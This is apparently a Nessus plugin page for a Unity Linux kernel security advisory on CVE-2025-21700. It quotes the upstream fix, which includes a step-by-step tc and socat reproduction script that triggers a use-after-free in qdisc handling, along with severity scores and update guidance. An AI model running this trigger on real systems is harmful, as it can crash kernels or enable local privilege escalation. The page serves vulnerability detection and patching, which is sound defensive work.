Unity Linux 20.1050e Security Update: kernel (UTSA-2026-005183)

high Nessus Plugin ID 296939

Synopsis

The Unity Linux host is missing one or more security updates.

Description

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-005183 advisory.

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script

Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr

step3. a class for nesting tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug echo | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1

The semantics of replace is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could fix with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of disallow such config.

Joint work with Lion Ackermann <[email protected]>

Tenable has extracted the preceding description block directly from the Unity Linux security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

Solution

Update the affected kernel package.

Plugin Details

Severity: High

ID: 296939

File Name: unity_linux_UTSA-2026-005183.nasl

Version: 1.1

Type: local

Family: Unity Linux Local Security Checks

Published: 1/27/2026

Updated: 1/27/2026

Supported Sensors: Nessus

Risk Information

VPR

Risk Factor: Medium

Score: 6.7

CVSS v2

Risk Factor: Medium

Base Score: 6.8

Temporal Score: 5

Vector: CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C

CVSS Score Source: CVE-2025-21700

CVSS v3

Risk Factor: High

Base Score: 7.8

Temporal Score: 6.8

Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

Vulnerability Information

Required KB Items: Host/local_checks_enabled, Host/cpu, Host/UOS-Server/release, Host/UOS-Server/rpm-list

Exploit Ease: No known exploits are available

Patch Publication Date: 1/28/2026

Vulnerability Publication Date: 2/13/2025

Reference Information

CVE: CVE-2025-21700

Detections

Analytics